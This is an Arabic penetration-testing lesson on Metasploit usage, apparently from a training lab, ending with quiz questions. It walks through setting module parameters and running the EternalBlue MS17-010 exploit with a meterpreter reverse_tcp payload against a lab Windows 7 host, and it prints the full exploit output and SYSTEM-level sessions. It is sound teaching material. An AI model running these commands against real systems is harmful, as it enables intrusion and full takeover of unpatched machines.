Metasploit هو إطار الاستغلال الأكثر استخدامًا. Metasploit هي أداة قوية يمكنها دعم جميع مراحل مشاركة اختبار الاختراق ، من جمع المعلومات إلى ما بعد الاستغلال.
الدرس الثالث
يمكنك تشغيل الجهاز الهدف المرفق بهذه الغرفة لتكرار الأمثلة الموضحة أدناه. سيحتوي أي إصدار 5 أو 6 من Metasploit على قوائم وشاشات مشابهة لتلك المعروضة هنا حتى تتمكن من استخدام AttackBox أو أي نظام تشغيل مثبت على جهاز الكمبيوتر المحلي الخاص بك.
بمجرد إدخال سياق الوحدة النمطية باستخدامuse
الأمر متبوعًا باسم الوحدة ، كما رأينا سابقًا ، ستحتاج إلى تعيين المعلمات. يتم سرد المعلمات الأكثر شيوعًا التي ستستخدمها أدناه. تذكر ، بناءً على الوحدة التي تستخدمها ، قد يلزم تعيين معلمات إضافية أو مختلفة. من الممارسات الجيدة استخدامshow options
الأمر لسرد المعلمات المطلوبة.
يتم تعيين جميع المعلمات باستخدام نفس بناء جملة الأمر:
set PARAMETER_NAME VALUE
قبل المتابعة ، تذكر دائمًا التحقق من موجه msfconsole للتأكد من أنك في السياق الصحيح. عند التعامل مع Metasploit ، قد ترى خمس مطالبات مختلفة:
موجه الأوامر العادي: لا يمكنك استخدام أوامر Metasploit هنا.
موجه الأوامر العادي
root@ip-10-10-XX-XX:~#
موجه msfconsole: msf5 (أو msf6 اعتمادًا على الإصدار المثبت لديك) هو موجه msfconsole. كما ترى ، لم يتم تعيين أي سياق هنا ، لذلك لا يمكن استخدام الأوامر الخاصة بالسياق لتعيين المعلمات وتشغيل الوحدات النمطية هنا.
موجه أوامر Metasploit
msf5 >
موجه السياق: بمجرد أن تقرر استخدام وحدة نمطية واستخدام الأمر set لاختيارها ، ستعرض msfconsole السياق. يمكنك استخدام الأوامر الخاصة بالسياق (مثل تعيين RHOSTS 10.10.xx) هنا.
موجه أوامر السياق
msf5 exploit(windows/smb/ms17_010_eternalblue) >
موجه Meterpreter: يعتبر Meterpreter حمولة مهمة سنراها بالتفصيل لاحقًا في هذه الوحدة. هذا يعني أنه تم تحميل وكيل Meterpreter إلى النظام المستهدف وإعادة توصيله بك. يمكنك استخدام أوامر محددة لـ Meterpreter هنا.
موجه أوامر Meterpreter
meterpreter >
قذيفة على النظام الهدف: بمجرد اكتمال الاستغلال ، قد يكون لديك وصول إلى قذيفة أوامر على النظام الهدف. هذا سطر أوامر عادي ، وجميع الأوامر المكتوبة هنا تعمل على النظام الهدف.
موجه أوامر Meterpreter
C:\Windows\system32>
كما ذكرنا سابقًا ،
show options
سيسرد الأمر جميع المعلمات المتاحة.الأمر show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.44.70 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) >
كما ترى في لقطة الشاشة أعلاه ، تتطلب بعض هذه المعلمات قيمة للاستغلال حتى يعمل. سيتم ملء بعض قيم المعلمات المطلوبة مسبقًا ، تأكد من التحقق مما إذا كان يجب أن تظل كما هي لهدفك. على سبيل المثال ، يمكن أن يكون لاستغلال الويب RPORT (منفذ بعيد: سيحاول المنفذ الموجود على النظام المستهدف Metasploit الاتصال وتشغيل الاستغلال) القيمة المحددة مسبقًا على 80 ، ولكن تطبيق الويب المستهدف الخاص بك يمكن أن يستخدم المنفذ 8080.
في هذا المثال ، سنقوم بتعيين معلمة RHOSTS على عنوان IP لنظامنا المستهدف باستخدام
set
الأمر.موجه أوامر Meterpreter
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.165.39 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.44.70 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) >
بمجرد تعيين معلمة ، يمكنك استخدام
show options
الأمر للتحقق من تعيين القيمة بشكل صحيح.المعلمات التي ستستخدمها غالبًا هي:
RHOSTS: "المضيف البعيد" ، عنوان IP للنظام الهدف. يمكن تعيين عنوان IP واحد أو نطاق شبكة. سيدعم هذا تدوين CIDR (التوجيه بين المجالات دون فئات) (/ 24 ، / 16 ، وما إلى ذلك) أو نطاق الشبكة (10.10.10.x - 10.10.10.y). يمكنك أيضًا استخدام ملف حيث يتم سرد الأهداف ، هدف واحد لكل سطر باستخدام الملف: /path/of/the/target_file.txt ، كما ترى أدناه.

RPORT: "المنفذ البعيد" ، المنفذ الموجود على النظام الهدف الذي يعمل عليه التطبيق الضعيف.
PAYLOAD: الحمولة التي ستستخدمها مع الاستغلال.
LHOST: "Localhost" ، عنوان IP لجهاز الهجوم (AttackBox أو Kali Linux).
LPORT: "منفذ محلي" ، المنفذ الذي ستستخدمه للقشرة العكسية للاتصال مرة أخرى. هذا منفذ على جهازك المهاجم ، ويمكنك ضبطه على أي منفذ لا يستخدمه أي تطبيق آخر.
الجلسة: سيكون لكل اتصال تم إنشاؤه للنظام المستهدف باستخدام Metasploit معرف جلسة. ستستخدم هذا مع وحدات ما بعد الاستغلال التي ستتصل بالنظام المستهدف باستخدام اتصال موجود.
يمكنك تجاوز أي معلمة set باستخدام الأمر set مرة أخرى بقيمة مختلفة. يمكنك أيضًا مسح أي قيمة معلمة باستخدام
unset
الأمر أو مسح جميع معلمات المجموعة باستخدام unset
الأمر all.unset all command
msf5 exploit(windows/smb/ms17_010_eternalblue) > unset all
Flushing datastore...
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) >
يمكنك استخدام
setg
الأمر لتعيين القيم التي سيتم استخدامها لجميع الوحدات النمطية. يتم setg
استخدام الأمر مثل الأمر set. يتمثل الاختلاف في أنك إذا استخدمت set
الأمر لتعيين قيمة باستخدام وحدة نمطية وقمت بالتبديل إلى وحدة نمطية أخرى ، فستحتاج إلى تعيين القيمة مرة أخرى. يسمح setg
لك الأمر بتعيين القيمة بحيث يمكن استخدامها افتراضيًا عبر الوحدات النمطية المختلفة. يمكنك مسح أي قيمة تم تعيينها setg
باستخدام unsetg
.يستخدم المثال أدناه التدفق التالي ؛
نحن نستخدم ms17_010_eternalblue القابل للاستغلال
قمنا بتعيين متغير RHOSTS باستخدام
setg
الأمر بدلاً من الأمر setنستخدم
back
الأمر لمغادرة سياق الاستغلالنستخدم أداة مساعدة (هذه الوحدة عبارة عن ماسح ضوئي لاكتشاف نقاط الضعف MS17-010)
يوضح
show options
الأمر أن معلمة RHOSTS تم ملؤها بالفعل بعنوان IP للنظام الهدف.وحدات التنقل
msf5 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf5 exploit(windows/smb/ms17_010_eternalblue) > back
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /opt/metasploit-framework-5101/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 10.10.165.39 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/smb/smb_ms17_010) >
msf5 auxiliary(scanner/smb/smb_ms17_010) >
يقوم
setg
الأمر بتعيين قيمة عامة سيتم استخدامها حتى تخرج من Metasploit أو تمسحها باستخدام unsetg
الأمر.باستخدام الوحدات
بمجرد تعيين جميع معلمات الوحدة ، يمكنك تشغيل الوحدة باستخدام
exploit
الأمر. يدعم Metasploit أيضًا run
الأمر ، وهو اسم مستعار تم إنشاؤه exploit
للأمر نظرًا لأن كلمة استغلال لم يكن لها معنى عند استخدام الوحدات التي لم يتم استغلالها (ماسحات المنافذ ، ماسحات الثغرات الأمنية ، إلخ).يمكن
exploit
استخدام الأمر بدون أي معلمات أو باستخدام -z
المعلمة "".سيقوم
exploit -z
الأمر بتشغيل الاستغلال وخلفية الجلسة بمجرد فتحها.أمر استغلال -z
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -z
[*] Started reverse TCP handler on 10.10.44.70:4444
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf5 exploit(windows/smb/ms17_010_eternalblue) >
سيعيد لك هذا موجه السياق الذي قمت من خلاله بتشغيل الاستغلال.
تدعم بعض الوحدات هذا
check
الخيار. سيتحقق هذا مما إذا كان النظام المستهدف ضعيفًا دون استغلاله.الجلسات
بمجرد استغلال الثغرة الأمنية بنجاح ، سيتم إنشاء جلسة. هذه هي قناة الاتصال المنشأة بين النظام المستهدف و Metasploit.
يمكنك استخدام
background
الأمر لوضع موجه الجلسة في الخلفية والعودة إلى موجه msfconsole.جلسات الخلفية
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(windows/smb/ms17_010_eternalblue) >
بدلا من ذلك ،
CTRL+Z
يمكن استخدامها لجلسات الخلفية.يمكن
sessions
استخدام الأمر من موجه msfconsole أو أي سياق لرؤية الجلسات الحالية.سرد الجلسات النشطة
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf5 exploit(windows/smb/ms17_010_eternalblue) > back
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf5 >
msf5 >
للتفاعل مع أي جلسة ، يمكنك استخدام
sessions -i
الأمر متبوعًا برقم الجلسة المطلوب.التفاعل مع الجلسات
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf5 > sessions -i 2
- كيف يمكنك ضبط قيمة LPORT على 6666؟
- كيف يمكنك تعيين القيمة العالمية لـ RHOSTS على 10.10.19.23؟
- ما الأمر الذي ستستخدمه لمسح حمولة محددة؟
- ما الأمر الذي تستخدمه للمضي قدمًا في مرحلة الاستغلال؟
تعليقات: (0) إضافة تعليق